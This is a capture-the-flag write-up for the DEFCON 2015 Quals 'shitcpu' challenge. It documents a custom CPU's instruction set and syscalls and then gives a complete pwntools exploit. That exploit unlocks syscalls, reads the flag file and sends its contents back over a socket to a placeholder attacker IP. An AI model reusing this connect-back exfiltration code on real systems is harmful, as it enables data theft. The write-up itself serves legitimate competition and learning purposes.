Create a gist now

Instantly share code, notes, and snippets.

What would you like to do?
DEFCON CTF 2015 Quals shitcpu Writeup

DEFCON CTF 2015 Quals shitcpu Writeup

Author: libmaru @ Blue-Lotus

Instruction Set

opcode[5] rd[3] imm[8]
00001: mem[GPR[rd]] = imm8
00011: GPR[rd] |= imm8 << 8
00101: GPR[rd] = (BYTE) mem[PC+imm8+2]
00111: (BYTE) mem[PC+imm8+2] = GPR[rd]
01001: GPR[rd] = (WORD) mem[PC+imm8+2]
01011: (WORD) mem[PC+imm8+2] = GPR[rd]

opcode[5] rd[3] op2[4] op1[4]
00000: GPR[rd] = GPR[op1] + GPR[op2]
00010: GPR[rd] = GPR[op1] & GPR[op2]
00100: GPR[rd] = GPR[op1] | GPR[op2]
00110: GPR[rd] = GPR[op1] - GPR[op2]
01000: GPR[rd] = GPR[op1] ^ GPR[op2]
01010: GPR[rd] = GPR[op1] * GPR[op2]		(signed)
01100: GPR[rd] = GPR[op1] >> GPR[op2]		(signed)
01110: GPR[rd] = GPR[op1] << GPR[op2]
01101: cmp, gpr[rd] = sgn( GPR[op1] - GPR[op2] )

opcode[4] amount[1](8/16) off[11]
1000: call, move GPR window, GPR[last] = PC, PC += off11 << 1

opcode[4] off[8] cond[4]
1001: if( GPR[cond] == 0 ) PC += sext16( off8 << 1 )
1010: if( GPR[cond] != 0 ) PC += sext16( off8 << 1 )
1011: if( GPR[cond] <  0 ) PC += sext16( off8 << 1 )
1100: if( GPR[cond] >  0 ) PC += sext16( off8 << 1 )

opcode[4] off[12]
1101: PC += sext16( off12 << 1 )

opcode[4] amount[1](4/8) off[10] ignore[1]
1110: bulk load registers in reverse order

opcode[8] rd[4] cond[4]
11110000: if( GPR[cond] == 0 ) PC += GPR[rd] & 0xFFFE
11110001: if( GPR[cond] != 0 ) PC += GPR[rd] & 0xFFFE
11110010: if( GPR[cond] <  0 ) PC += GPR[rd] & 0xFFFE
11110011: if( GPR[cond] >  0 ) PC += GPR[rd] & 0xFFFE

opcode[8] rs[4] rd[4]
11110100: GPR[rd] = -GPR[rs]
11110101: GPR[rd] = GPR[rs]
11110110: PC += GPR[rs] & 0xFFFE

opcode[8] rs[4] ignore[4]
11110111: call_reg, move GPR window(reuse rs[3], 8/16), GPR[last] = PC, PC += GPR[rs] & 0xFFFE  

opcode[8] amount[1](8/16) ignore[7]
11111000: ret, move GPR window backwards

opcode[8] rd[4] ignore[4]
11111001: syscall( GPR[rd] )
	0xFA0: GPR[0]:GPR[1] = time(0)
	0xFA1: fp[??] = fopen( GPR[1], "r" )
	0xFA2: fclose( fp[GPR[1]] )
	0xFA3: fread( GPR[3], 1, GPR[2], fp[GPR[1]] )
	0xFA4: fd[??] = socket()
	0xFA5: read( fd[GPR[1]], GPR[3], GPR[2] )
	0xFA6: write( fd[GPR[1]], GPR[3], GPR[2] )
	0xFA7: close( fd[GPR[1]] )
	0xFA8: halt
	0xFA9: connect( fd[GPR[1]], (GPR[2]<<16|GPR[3],GPR[4]) )
	0xFAA: bind( fd[GPR[1]], (0,GPR[2]) ); listen( fd[GPR[1]], 3 )
	0xFAB: accept( fd[GPR[1]], NULL, 0 )
	default: raise 5

opcode[8] ignore[6] sub-opcode[2]
11111010??????00: GPR[0] = rnd_1; GPR[1] = rnd_2
11111010??????01: GPR[0] = lock
11111010??????10: if( GPR[0] == XXX && GPR[1] == YYY ) lock = 1
11111010??????11: if( GPR[0] == XXX && GPR[1] == YYY ) lock = 0

Note

call/ret instruction moves the register window. You won't use this feature in your code.

The syscall is locked by default. To lock/unlock syscall, you must perform some calculation on the two random numbers and pass the check @ sub_2778.

There's a plenty of syscalls, but the only way to cat flag is connecting back:

  1. fopen is hardcoded with read-only mode
  2. accept doesn't keep the new fd in the internal structure, thus renders it inaccessible
  3. although the fd array is initialized with 0, there is a boundary check stops us from using fd 0; raise this limit will overwrite 0 with fd/-1

Other

Passing negative size to rw/rb commands bypasses size limit to some extent

If you want to inspect register values, just trigger an undefined instruction exception.

If you want single step debugging, patch sub_2A92 and let it return.

Exploit

from pwn import *
import socket
import sys

target = ( 'shitcpu_5f766bf9fb92aead0ae2de76ea57f21c.quals.shallweplayaga.me', 19192 )
connback = ( 'PUT_YOUR_IP_HERE', 1337 )

try:
	path = sys.argv[1]
except:
	path = '/home/shitcpu/flag'

context.bits = 16
context.endian = 'big'

align = lambda s: s+'\0' if len(s) & 1 else s
bswap16 = lambda s: ''.join( s[i:i+2][::-1] for i in xrange( 0, len(s), 2 ))
string = lambda s: bswap16( align( s ))

connback_ip = bswap16( socket.inet_aton( connback[0] ))
connback_port = pack( connback[1], endianness='little' )

program = flat(
## Unlock syscall
	0xFA01,		# GPR[0], GPR[1] = rand_1, rand_2
	0x5210,		# GPR[2] = GPR[0] * GPR[1]
	0x6B10,		# GPR[3] = cmp( GPR[0], GPR[1] )
	0xC013,		# if GPR[3] > 0: goto PC+1*2
		0xF422,	# 	GPR[2] = -GPR[2]
	0x6B12,		# GPR[3] = cmp( GPR[1], GPR[2] )
	0xC013,		# if GPR[3] > 0: goto PC+1*2
		0xF510,	# 	GPR[0] = GPR[1]
	0x4120,		# GPR[1] = GPR[0] ^ GPR[2]
	0xF520,		# GPR[0] = GPR[2]
	0xFA03,		# unlock

## Prepare file and socket
	0xE00C,		# load GPR[3~0]
	0xF900,		# syscall GPR[0] (fopen)
	0xF930,		# syscall GPR[3] (socket)

	0xE808,		# load GPR[7~0]
	0xF900,		# syscall GPR[0] (connect)

## Prepare for the pump loop
	0xE814,		# load GPR[7~0]
	0xD013,		# goto PC+19*2

## Constants
	0x0FA4,		# GPR[3] = SYSCALL_SOCKET
	0x0005,		# GPR[2] = 5
	0x0000,		# GPR[1] = filename
	0x0FA1,		# GPR[0] = SYSCALL_FOPEN

	connback_port,	# GPR[4] = port
	connback_ip,	# GPR[3] = lo( IPv4 ), GPR[2] = hi( IPv4 )
	0x0000,			# GPR[1] = 0
	0x0FA9,			# GPR[0] = SYSCALL_CONNECT = 0x0FA9

	0x0FA8,		# GPR[7] = SYSCALL_EXIT
	0x0FA6,		# GPR[6] = SYSCALL_WRITE
	0x0FA3,		# GPR[5] = SYSCALL_FREAD
	0x0100,		# GRP[4] = max_size = 0x100
	0x0000,		# GPR[3] = buffer = 0x3F00
	0x0100,		# GPR[2] = size = 0x100
	0x0000,		# GPR[1] = GPR[1] ^ GPR[1] = 0

## Pump from file to socket
	0xF502,		# GPR[2] = GPR[0]
	0xF960,		# syscall GPR[6] (write)
	0xF542,		# GPR[2] = GPR[4]
	0xF950,		# syscall GPR[5] (fread)
	0xCFB0,		# if GPR[0] > 0: goto PC+(-5)*2

## Exit
	0xF970,		# syscall GPR[7] (exit)
)

def load( base, data ):
	data = align( data )
	conn.send( ''.join( 'ww %X %X\n' % (base+i,u16(data[i:i+2])) for i in xrange( 0, len( data ), 2 ) if u16(data[i:i+2])))

conn = remote( *target )
load( 0x0000, string( path ) )
load( 0x4000, program )
conn.sendline( 'run' )
conn.recvuntil( 'Simulation ending.' )

Flag

FYI, the flag changes over time.

The flag is: Nice r3v3rsing skilzz, what a shitty CPU tho!@1337
The flag is: Later, shitlords
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment